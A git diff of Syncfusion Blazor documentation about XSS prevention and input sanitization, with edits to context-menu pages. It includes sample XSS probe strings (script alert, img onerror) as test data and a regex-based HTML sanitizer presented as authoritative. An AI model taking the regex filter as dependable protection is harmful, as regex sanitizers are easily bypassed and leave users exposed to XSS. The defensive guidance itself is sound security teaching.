-}
-
-{% endhighlight %}
-{% endtabs %}
-
-#### SAFE – Sanitized MarkupString (pre-sanitized data)
-
-When HTML content is sanitized on the server or during data preparation and stored in a dedicated property, rendering it with `MarkupString` is acceptable. 
-
-The example below uses a SanitizedContent property that contains only trusted, pre‑sanitized HTML. Cast to MarkupString only when you can guarantee the content has been properly sanitized and comes from a trusted source.
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="@Comments" AllowPaging="true">
-    <GridColumns>
-        <GridColumn Field="@nameof(Comment.Author)" HeaderText="Author" Width="150" />
-        <GridColumn HeaderText="Comment" Width="400">
-            <Template Context="comment">
-                @((MarkupString)((Comment)comment).SanitizedContent)
-            </Template>
-        </GridColumn>
-        <GridColumn Field="@nameof(Comment.CreatedAt)" HeaderText="Date" Width="150" Format="d" />
-    </GridColumns>
-</SfGrid>
-
-@code {
-    private List<Comment> Comments = new();
-
-    protected override void OnInitialized()
-    {
-        Comments = new List<Comment>
-        {
-            new()
-            {
-                Id = 1,
-                Author = "John Doe",
-                Content = "<p>Safe content</p><script>alert('XSS')</script>",
-                SanitizedContent = "<p>Safe content</p>",
-                CreatedAt = DateTime.Now.AddDays(-2)
-            },
-            new()
-            {
-                Id = 2,
-                Author = "Jane Smith",
-                Content = "<img src='x' onerror='alert(1)' /><b>Text</b>",
-                SanitizedContent = "<b>Text</b>",
-                CreatedAt = DateTime.Now
-            }
-        };
-    }
-
-    public class Comment
-    {
-        public int Id { get; set; }
-        public string Author { get; set; } = string.Empty;
-        public string Content { get; set; } = string.Empty;
-        public string SanitizedContent { get; set; } = string.Empty;
-        public DateTime CreatedAt { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-#### Text-only rendering
-
-If HTML formatting is not required, render the content as plain text. Blazor automatically encodes all special characters, ensuring no injected scripts can execute regardless of what the data source contains.
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="@Comments" AllowPaging="true">
-    <GridColumns>
-        <GridColumn Field="@nameof(Comment.Content)" HeaderText="Comment">
-            <Template Context="comment">
-                @((comment as Comment)?.Content ?? string.Empty)
-            </Template>
-        </GridColumn>
-    </GridColumns>
-</SfGrid>
-
-@code {
-    private List<Comment> Comments = new()
-    {
-        new() { Id = 1, Content = "<script>alert('XSS')</script> Plain text" }
-    };
-
-    public class Comment
-    {
-        public int Id { get; set; }
-        public string Content { get; set; } = string.Empty;
-    }
-}
-{% endhighlight %}
-{% endtabs %}
-
-#### ListView with custom templates
-
-The same safe rendering rules apply to ListView when displaying user-generated content.
-
-The following example conditionally renders content based on whether the message contains HTML. When `IsHtml` is `true`, only pre-sanitized content stored in `SanitizedContent` is rendered as markup. Otherwise, plain text is displayed using Blazor's automatic encoding. This keeps all messages safe regardless of their format.
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.Lists
-
-<SfListView DataSource="@Messages">
-    <ListViewFieldSettings TValue="ChatMessage" Text="Content" Id="Id" />
-    <ListViewTemplates TValue="ChatMessage">
-        <Template Context="message">
-            <div>
-                <strong>@message.Sender</strong> - @message.Timestamp.ToShortTimeString()
-                <div>
-                    @if (message.IsHtml)
-                    {
-                        @((MarkupString)message.SanitizedContent)
-                    }
-                    else
-                    {
-                        @message.Content
-                    }
-                </div>
-            </div>
-        </Template>
-    </ListViewTemplates>
-</SfListView>
-
-@code {
-    private List<ChatMessage> Messages = new()
-    {
-        new() { Id = "1", Sender = "Alice", Content = "Plain text", IsHtml = false, Timestamp = DateTime.Now },
-        new() { Id = "2", Sender = "Bob", SanitizedContent = "<p>HTML</p>", IsHtml = true, Timestamp = DateTime.Now }
-    };
-
-    public class ChatMessage
-    {
-        public string Id { get; set; } = string.Empty;
-        public string Sender { get; set; } = string.Empty;
-        public string Content { get; set; } = string.Empty;
-        public string SanitizedContent { get; set; } = string.Empty;
-        public bool IsHtml { get; set; }
-        public DateTime Timestamp { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Server-side sanitization (authoritative)
-
-Server-side sanitization is the **authoritative and required** defense against XSS attacks. While client‑side sanitization (such as the RichTextEditor’s built‑in HTML sanitizer) provides an extra layer of safety, only server-side validation can be fully trusted. All user-generated HTML should be sanitized on the server before saving it to the database and again when retrieving it.
-
-### Built-in .NET sanitization support
-
-.NET includes several built-in APIs that support safe HTML encoding and sanitization. In most scenarios, you do not need extra libraries.
-
-| Namespace | Class | Purpose |
-|---|---|---|
-| `System.Text.Encodings.Web` | `HtmlEncoder` | Encode all HTML special characters |
-| `System.Text.RegularExpressions` | `Regex` | Strip disallowed tags and attributes |
-| `System.Web` | `HttpUtility.HtmlEncode` | Encode HTML in non-web contexts |
-
-### Server-side sanitization example
-
-The following example demonstrates how to sanitize user‑entered HTML submitted from the Syncfusion Blazor **RichTextEditor** component. The sanitization process removes script tags, script content, disallowed HTML, inline event handlers, and unsafe URL protocols.
-
-{% tabs %}
-{% highlight c# tabtitle="~/Services/HtmlSanitizerService.cs"  %}
-
-using System.Collections.Generic;
-using System.Text.RegularExpressions;
-using System.Text.Encodings.Web;
-
-namespace BlazorApp.Services;
-
-public class HtmlSanitizerService
-{
-    // List of allowed safe HTML tags. Any tag not in this list is removed.
-    private static readonly string[] AllowedTags =
-    {
-        "p", "br", "strong", "em", "u", "b", "i", "ul", "ol", "li"
-    };
-
-    public string Sanitize(string input)
-    {
-        if (string.IsNullOrWhiteSpace(input))
-            return string.Empty;
-
-        var allowList = new HashSet<string>(AllowedTags, StringComparer.OrdinalIgnoreCase);
-
-        // Remove HTML comments, script and style blocks completely.
-        string result = Regex.Replace(input, @"<!--[\s\S]*?-->", string.Empty, RegexOptions.IgnoreCase);
-        result = Regex.Replace(result, @"<script\b[^>]*>[\s\S]*?</script>", string.Empty, RegexOptions.IgnoreCase);
-        result = Regex.Replace(result, @"<style\b[^>]*>[\s\S]*?</style>", string.Empty, RegexOptions.IgnoreCase);
-
-        // Pattern to match tags: groups => (closing?)(tagName)(attributes)
-        string tagPattern = @"<\s*(\/?)\s*([a-z0-9]+)([^>]*)>";
-        result = Regex.Replace(result, tagPattern, match =>
-        {
-            var isClosing = !string.IsNullOrEmpty(match.Groups[1].Value);
-            var tagName = match.Groups[2].Value;
-            var attrText = match.Groups[3].Value;
-            if (!allowList.Contains(tagName))
-                return string.Empty;
-            if (isClosing)
-                return $"</{tagName}>";
-
-            // Extract attributes and keep only safe ones (href/src) after protocol checks.
-            var keptAttrs = new List<string>();
-            string attrPattern = @"([a-z0-9\-]+)\s*=\s*(['""])(.*?)\2|([a-z0-9\-]+)\s*=\s*([^\s>]+)";
-            foreach (Match a in Regex.Matches(attrText, attrPattern, RegexOptions.IgnoreCase))
-            {
-                string name = a.Groups[1].Success ? a.Groups[1].Value : a.Groups[4].Value;
-                string value = a.Groups[3].Success ? a.Groups[3].Value : a.Groups[5].Value;
-                if (string.IsNullOrEmpty(name))
-                    continue;
-
-                // Remove any event handler attributes (onclick, onerror, etc.).
-                if (name.StartsWith("on", StringComparison.OrdinalIgnoreCase))
-                    continue;
-
-                // Note: Keep href/src handling for future <a>/<img> support; it blocks unsafe protocols like javascript: and data:.
-                if (name.Equals("href", StringComparison.OrdinalIgnoreCase) ||
-                    name.Equals("src", StringComparison.OrdinalIgnoreCase))
-                {
-                    var trimmed = value.Trim();
-                    if (Regex.IsMatch(trimmed, @"^\s*(javascript:|data:)", RegexOptions.IgnoreCase))
-                        continue;
-
-                    // Encode attribute value to prevent injections.
-                    var encoded = HtmlEncoder.Default.Encode(trimmed);
-                    keptAttrs.Add($"{name}=\"{encoded}\"");
-                }
-
-                // All other attributes are discarded for safety.
-            }
-
-            var attrString = keptAttrs.Count > 0 ? " " + string.Join(" ", keptAttrs) : string.Empty;
-            return $"<{tagName}{attrString}>";
-        }, RegexOptions.IgnoreCase);
-
-        return result.Trim();
-    }
-    public string EncodePlainText(string input)
-    {
-        // Encodes text to prevent any possibility of HTML execution.
-        return HtmlEncoder.Default.Encode(input ?? string.Empty);
-    }
-}
-
-{% endhighlight %}
-{% highlight c# tabtitle="~/Models/Comment.cs" %}
-
-namespace BlazorApp.Models;
-
-public class Comment
-{
-    // Stores the raw user input after HTML encoding for safe display.
-    public string RawInput { get; set; } = string.Empty;
-
-    // Stores the sanitized HTML content after server-side processing.
-    public string SanitizedHtml { get; set; } = string.Empty;
-}
-
-{% endhighlight %}
-{% highlight razor tabtitle="~/SanitizerDemo.razor" %}
-
-@page "/sanitize-demo"
-@rendermode InteractiveServer
-@using BlazorApp.Services
-@using BlazorApp.Models
-@using Syncfusion.Blazor.RichTextEditor
-@inject HtmlSanitizerService SanitizerService
-
-<h3>Server-Side Sanitization Demo</h3>
-
-<SfRichTextEditor @bind-Value="@InputText" Height="200px"
-                  EnableHtmlSanitizer="true">
-</SfRichTextEditor>
-
-<button class="btn btn-primary mt-3" @onclick="Process">Sanitize</button>
-
-@if (Comment != null)
-{
-    <h4 class="mt-4">Raw Input (encoded for safety):</h4>
-    <pre>@Comment.RawInput</pre>
-
-    <h4>Sanitized Output (safe HTML rendered):</h4>
-    <div style="padding:10px; border:1px solid #ccc">
-        @((MarkupString)Comment.SanitizedHtml)
-    </div>
-}
-
-@code {
-    private string InputText = string.Empty;
-    private Comment? Comment;
-
-    private void Process()
-    {
-        // Encodes the raw content and sanitizes the HTML content.
-        Comment = new Comment
-        {
-            RawInput = SanitizerService.EncodePlainText(InputText),
-            SanitizedHtml = SanitizerService.Sanitize(InputText)
-        };
-    }
-}
-
-{% endhighlight %}
-{% highlight c# tabtitle="Program.cs" %}
-
-...
-using Syncfusion.Blazor;
-using BlazorApp.Services;
-...
-// Registers the sanitizer service for dependency injection.
-builder.Services.AddSingleton<HtmlSanitizerService>();
-// Required to enable all Syncfusion Blazor components.
-builder.Services.AddSyncfusionBlazor();
-...
-
-{% endhighlight %}
-{% endtabs %}
-
-## See also
-
-* [Cross-site scripting (XSS) prevention in Block Editor](https://blazor.syncfusion.com/documentation/block-editor/editor-security/cross-site-script)
- 
\ No newline at end of file
diff --git a/blazor/common/security/input-sanitization.md b/blazor/common/security/input-sanitization.md
index 418fa0452a..b807578ded 100644
--- a/blazor/common/security/input-sanitization.md
+++ b/blazor/common/security/input-sanitization.md
@@ -1,25 +1,25 @@
 ---
 layout: post
-title: Input Sanitization with Syncfusion Blazor Components
-description: Discover effective techniques for securely sanitizing user input in Syncfusion Blazor components to protect your application from unsafe data.
+title: Input Sanitization with Blazor Components | Syncfusion
+description: Discover effective techniques for securely sanitizing user input in Blazor components to protect your application from unsafe data.
 platform: Blazor
 control: Common
 documentation: ug
 ---
 
-# Input Sanitization in Syncfusion® Blazor Components
+# Input Sanitization in Blazor Components
 
-## What is input sanitization?
+This documentation explains how to protect [Blazor components](https://www.syncfusion.com/blazor-components) from unsafe or malicious user input using **input sanitization** techniques. It highlights built‑in sanitization support in components such as the [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor) and [Blazor Block Editor](https://www.syncfusion.com/blazor-components/blazor-block-editor), along with best practices like HTML encoding to ensure safe rendering of user content.
 
-**Input sanitization** is the process of filtering and cleaning HTML content from untrusted sources. It removes unsafe tags (like `<script>`), inline scripts (JavaScript code embedded directly in HTML attributes), event handlers (such as onclick), and dangerous URLs (malicious javascript links). Only safe and valid markup is preserved.
+## What is input sanitization?
 
-For plain text(such as a letter, number, symbols), input sanitization ensures special characters are treated as normal text so the browser does not execute them as HTML or code.
+**Input sanitization** is the process of filtering and cleaning HTML content from untrusted sources. It removes unsafe tags (like `<script>`), inline scripts (JavaScript code embedded directly in HTML attributes), event handlers (such as `onclick`), and dangerous URLs (malicious JavaScript links). Only safe and valid markup is preserved.
 
 ## Why input sanitization is important?
 
 Blazor applications often accept text input, file uploads, dialog content, and query parameters. Users may intentionally or accidentally submit HTML or script content. This content can execute unexpectedly when rendered as HTML.
 
-If untrusted content is rendered as HTML, it can:              
+If untrusted content is rendered as HTML, it can:
 
 * Execute malicious JavaScript
 * Alter UI layout or behavior
@@ -32,12 +32,14 @@ Sanitizing user input ensures that only safe and expected values are stored or d
 
 | Attacks | Description | Prevention |
 |--------|-------------|------------|
-| Cross-Site Scripting (XSS) | Malicious scripts are injected (e.g., event attributes like onclick, or javascript: URLs) and execute in the user’s browser. Example: `<script>alert('XSS');</script>` | HTML sanitization is enabled by default in Syncfusion components such as the RTE. For plain text inputs, use HTML encoding (e.g., `HtmlEncoder.Default.Encode()`).|
-| HTML Injection | Unwanted markup changes layout or behavior (e.g., injecting unexpected `<div>`, `<style>`, or risky attributes). Example: `<iframe src="phish-site.com"></iframe>`. | The built‑in sanitizer removes unsafe tags and attributes and helps avoid rendering raw HTML from untrusted sources. |
+| Cross-Site Scripting (XSS) | Malicious scripts are injected and execute in the user’s browser, which may lead to unauthorized actions or data exposure. <br> **Example:** `<script>alert('XSS');</script>` | HTML sanitization is enabled by default in Blazor components such as the Blazor RTE. For plain text inputs, use HTML encoding. **<br>Example:** `HtmlEncoder.Default.Encode()`.|
+| HTML Injection | Unwanted markup can change layout or behavior by introducing unexpected HTML elements, styles, or attributes, which affect how content is rendered in the UI.<br> **Example:** Injecting unexpected `<div>`, `<style>`, `<iframe>` or risky attributes. | The built-in `EnableHtmlSanitizer` property in supported Blazor components removes unsafe tags and attributes and prevents rendering raw HTML from untrusted sources. <br> **Example:** `<script>` and `<iframe>` elements, unsafe attributes such as `onclick`. |
 
 ## Built-in sanitization features
 
-Several Syncfusion Blazor components include HTML sanitization capabilities to prevent harmful script or markup from being processed. Components that accept or render HTML content such as the [Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor), [Block Editor](https://www.syncfusion.com/blazor-components/blazor-block-editor) have built-in `EnableHtmlSanitizer` property to remove unsafe elements before rendering. Components like [Tooltip](https://www.syncfusion.com/blazor-components/blazor-tooltip), [Toast](https://www.syncfusion.com/blazor-components/blazor-toast), and [Dialog](https://www.syncfusion.com/blazor-components/blazor-modal-dialog) automatically apply sanitization when rendering HTML templates. For [DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid), manual encoding is recommended for user-provided content. This ensures that any user provided HTML is safe.
+Several [Blazor components](https://www.syncfusion.com/blazor-components) include HTML sanitization capabilities to prevent harmful scripts or unsafe markup from being rendered. Components that accept or display HTML content such as the [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor), [Blazor Block Editor](https://www.syncfusion.com/blazor-components/blazor-block-editor) have built-in `EnableHtmlSanitizer` property to remove unsafe elements before rendering.
+
+Components such as [Blazor Tooltip](https://www.syncfusion.com/blazor-components/blazor-tooltip), [Blazor Toast](https://www.syncfusion.com/blazor-components/blazor-toast), and [Blazor Dialog](https://www.syncfusion.com/blazor-components/blazor-modal-dialog) apply sanitization when rendering HTML content in templates. For [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid), HTML encoding should be applied explicitly when rendering user-provided content. This ensures that any user provided HTML is safe.
 
 In the example shown, the sanitizer removes embedded scripts and event based attacks to prevent malicious code execution. It strips `<script>` tags, inline event handlers, JavaScript URLs, and dangerous elements like `<iframe>` or `<object>` to ensure that only safe HTML is displayed.
 
@@ -46,13 +48,13 @@ In the example shown, the sanitizer removes embedded scripts and event based att
 <script>alert('XSS')</script>
 
 <!-- Sanitized output -->
-(Empty or safe text only)
+(No script content is rendered; output is empty or sanitized text)
 
 ```
 
 ### Rich Text Editor (RTE)
 
-The [Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor) allows users to input and render HTML content. To prevent unsafe markup from being inserted or displayed, enable the built-in sanitizer using the [EnableHtmlSanitizer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_EnableHtmlSanitizer) property.
+The [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor) allows users to input and render HTML content. To prevent unsafe markup from being inserted or displayed, enable the built-in sanitizer using the [EnableHtmlSanitizer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_EnableHtmlSanitizer) property.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -62,39 +64,24 @@ The [Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-
 <SfRichTextEditor EnableHtmlSanitizer="true" @bind-Value="Content"></SfRichTextEditor>
 
 @code {
-   
- private string Content { get; set; } =
-        "<p>Welcome</p><img src=x onerror=\"alert('xss')\"><script>alert('XSS')</script>";
-
+    private string Content { get; set; } = "<p>Welcome</p><img src=x onerror="alert('xss')"><script>alert('XSS')</script>";
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-When the `EnableHtmlSanitizer` property is enabled, the Rich Text Editor automatically removes unsafe tags and attributes before rendering the content.
-
-#### Disabling the EnableHtmlSanitizer
-
-To disable the built-in sanitizer (not recommended for untrusted content), set the property to `false`:
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.RichTextEditor
-
-<SfRichTextEditor EnableHtmlSanitizer="false" ></SfRichTextEditor>
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BthxtICproYoScRe?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2"  %}
 
-{% endhighlight %}
-{% endtabs %}
+When the `EnableHtmlSanitizer` property is enabled, the Blazor Rich Text Editor automatically removes unsafe tags and attributes before rendering the content.
 
 ### Block Editor
 
-The [Block Editor](https://www.syncfusion.com/blazor-components/blazor-block-editor) allows users to create structured content such as paragraphs, headings, lists, quotes, images, and links. Since user generated content may include HTML like input or potentially unsafe markup, enable the built-in sanitizer using the [EnableHtmlSanitizer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.BlockEditor.SfBlockEditor.html#Syncfusion_Blazor_BlockEditor_SfBlockEditor_EnableHtmlSanitizer) property to ensure only safe content is rendered.
+The [Blazor Block Editor](https://www.syncfusion.com/blazor-components/blazor-block-editor) allows users to create structured content such as paragraphs, headings, lists, quotes, images, and links. Since user generated content may include HTML like input or potentially unsafe markup, enable the built-in sanitizer using the [EnableHtmlSanitizer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.BlockEditor.SfBlockEditor.html#Syncfusion_Blazor_BlockEditor_SfBlockEditor_EnableHtmlSanitizer) property to ensure only safe content is rendered.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
 
-@using Syncfusion.Blazor.BlockEditor;
+@using Syncfusion.Blazor.BlockEditor
 
 <div id="container">
     <SfBlockEditor Blocks="@BlocksData" EnableHtmlSanitizer="true"></SfBlockEditor>
@@ -120,34 +107,20 @@ The [Block Editor](https://www.syncfusion.com/blazor-components/blazor-block-edi
 {% endhighlight %}
 {% endtabs %}
 
-When the `EnableHtmlSanitizer` property is enabled, the Block Editor automatically removes unsafe tags and attributes such as `<script>` tags, event attributes (like onload, onclick), javascript: URLs, and other harmful markup before rendering content. This ensures that only clean and trusted HTML remains in the editor output.
-
-#### Disabling the EnableHtmlSanitizer
-
-To disable the built-in sanitizer (not recommended for untrusted input), set the property to false:
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.BlockEditor;
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtBRtoMfVqyWhUfy?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2"  %}
 
-<div id="container">
-    <SfBlockEditor  EnableHtmlSanitizer="false"></SfBlockEditor>
-</div>
+When the `EnableHtmlSanitizer` property is enabled, the Blazor Block Editor automatically removes unsafe tags and attributes before rendering content. This includes unsafe tags such as `<script>`, unsafe attributes such as `onload` and `onclick`, as well as JavaScript URLs and other potentially harmful markup. This ensures that only clean and trusted HTML remains in the editor output.
 
-{% endhighlight %}
-{% endtabs %}
-    
 ## How to sanitize input in Blazor?
 
-When you only need to display plain text (not HTML), the safest approach is to HTML encode user input. Encoding converts characters like <, >, and & into harmless text representations so the browser will not interpret them as HTML or scripts. This ensures that even if the user enters malicious markup, it is displayed as text, not executed.
+When you only need to display plain text (not HTML), the safest approach is to HTML encode user input. Encoding converts characters like `<`, `>`, and `&` into harmless text representations so the browser will not interpret them as HTML or scripts. This ensures that even if the user enters malicious markup, it is displayed as text, not executed.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
 
 @using System.Text.Encodings.Web
 
-<p>@encoded</p>  
+<p>@encoded</p>
 
 @code {
     string userInput = "<script>alert('XSS')</script> Hello!";
@@ -169,11 +142,11 @@ Displaying the encoded text ensures it is treated as plain text.
 
 ## Component specific guidelines
 
-### DataGrid
+### Blazor DataGrid component
 
-The [DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can render HTML when using templates or when column values include markup. User provided values should be sanitized before being added to the data source. 
+The [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can render HTML when using templates or when column values include markup. User provided values should be sanitized before being added to the data source.
 
-The following example demonstrates sanitizing text before binding it to the Grid:
+The following example demonstrates sanitizing text before binding it to the Blazor DataGrid:
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -193,11 +166,11 @@ The following example demonstrates sanitizing text before binding it to the Grid
 </div>
 
 <div class="mt-2">
-<SfGrid @ref="UserGrid" DataSource="@Items" AllowPaging="true">
-    <GridColumns>
-        <GridColumn Field="Content" HeaderText="User Content" Width="200"></GridColumn>
-    </GridColumns>
-</SfGrid>
+    <SfGrid @ref="UserGrid" DataSource="@Items" AllowPaging="true">
+        <GridColumns>
+            <GridColumn Field="Content" HeaderText="User Content" Width="200"></GridColumn>
+        </GridColumns>
+    </SfGrid>
 </div>
 
 @code {
@@ -221,12 +194,12 @@ The following example demonstrates sanitizing text before binding it to the Grid
 {% endhighlight %}
 {% endtabs %}
 
-You can experiment with a working example of encoded DataGrid content in the Syncfusion Blazor playground:
+You can explore a working example of encoded Blazor DataGrid content in the Blazor Playground.
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/hXBdDKiCUIgKSIYz?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2"  %}
 
 ## See also
 
-* [Content Security Policy (CSP)](https://blazor.syncfusion.com/documentation/common/content-security-policy)
-* [Paste Clean-up in Blazor Rich Text Editor](https://blazor.syncfusion.com/documentation/rich-text-editor/paste-cleanup)
-* [Paste Clean-up in Blazor Block Editor](https://blazor.syncfusion.com/documentation/block-editor/paste-cleanup)
+* [Blazor Content Security Policy (CSP)](https://blazor.syncfusion.com/documentation/common/content-security-policy)
+* [Blazor Rich Text Editor Paste Clean-up](https://blazor.syncfusion.com/documentation/rich-text-editor/paste-cleanup)
+* [Blazor Block Editor Paste Clean-up](https://blazor.syncfusion.com/documentation/block-editor/paste-cleanup)
diff --git a/blazor/context-menu/customizing-and-multilevel-nesting.md b/blazor/context-menu/customizing-and-multilevel-nesting.md
index ca25ae26f5..2dfa39e74c 100644
--- a/blazor/context-menu/customizing-and-multilevel-nesting.md
+++ b/blazor/context-menu/customizing-and-multilevel-nesting.md
@@ -55,7 +55,7 @@ To customize [Blazor Context Menu](https://www.syncfusion.com/blazor-components/
 ```
 
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXVACVVcUYeycxMc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Blazor ContextMenu Items](./images/blazor-contextmenu-items.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXVACVVcUYeycxMc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Blazor ContextMenu Items](./images/blazor-contextmenu-items.webp)" %}
 
 ### Customizing Context Menu items using CssClass
 
@@ -93,7 +93,7 @@ The Context Menu items can be customized by using the `CssClass` property. In th
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXhqMLhwAOylWmij?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Blazor ContextMenu Items](./images/blazor-contextmenu-item-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXhqMLhwAOylWmij?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Blazor ContextMenu Items](./images/blazor-contextmenu-item-customization.webp)" %}
 
 ## Multilevel nesting
 
@@ -134,4 +134,4 @@ The Multiple level nesting supports in Context Menu. It can be achieved by mappi
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrgsrhQganDCPmC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Multilevel Nesting in Blazor ContextMenu](./images/blazor-contextmenu-with-multilevel.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDrgsrhQganDCPmC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Multilevel Nesting in Blazor ContextMenu](./images/blazor-contextmenu-with-multilevel.webp)" %}
\ No newline at end of file
diff --git a/blazor/context-menu/getting-started-with-server-app.md b/blazor/context-menu/getting-started-with-server-app.md
index cbd6ab897d..f4aa1da457 100644
--- a/blazor/context-menu/getting-started-with-server-app.md
+++ b/blazor/context-menu/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Navigations
+
 <div id="target">Right click/Touch hold to open the ContextMenu </div>
 <SfContextMenu Target="#target" TValue="MenuItem">
     <MenuItems>
@@ -187,7 +189,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ContextMenu component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBftMLEBgCMeGpg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu Component](./images/blazor-contextmenu-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBftMLEBgCMeGpg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu Component](./images/blazor-contextmenu-component.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ContextMenu).
 
diff --git a/blazor/context-menu/getting-started-with-web-app.md b/blazor/context-menu/getting-started-with-web-app.md
index f2bb363937..e34f0890b7 100644
--- a/blazor/context-menu/getting-started-with-web-app.md
+++ b/blazor/context-menu/getting-started-with-web-app.md
@@ -169,6 +169,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Navigations
+
 <div id="target">Right click/Touch hold to open the ContextMenu </div>
 <SfContextMenu Target="#target" TValue="MenuItem">
     <MenuItems>
@@ -195,7 +197,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ContextMenu component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBftMLEBgCMeGpg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu Component](./images/blazor-contextmenu-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBftMLEBgCMeGpg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu Component](./images/blazor-contextmenu-component.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ContextMenu).
 
diff --git a/blazor/context-menu/getting-started.md b/blazor/context-menu/getting-started.md
index 6b243b4428..5ac8adcbbc 100644
--- a/blazor/context-menu/getting-started.md
+++ b/blazor/context-menu/getting-started.md
@@ -176,7 +176,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ContextMenu comp
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ContextMenu component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBftMLEBgCMeGpg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu Component](./images/blazor-contextmenu-component.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBftMLEBgCMeGpg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor ContextMenu Component](./images/blazor-contextmenu-component.webp)" %}
 
 N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ContextMenu).
 
diff --git a/blazor/context-menu/how-to/bind-menu-events.md b/blazor/context-menu/how-to/bind-menu-events.md
index 4900c5cd8d..1b32f80e44 100644
--- a/blazor/context-menu/how-to/bind-menu-events.md
+++ b/blazor/context-menu/how-to/bind-menu-events.md
@@ -48,4 +48,4 @@ To bind the menu event in the context menu [ItemSelected](https://help.syncfusio
 ```
 
 
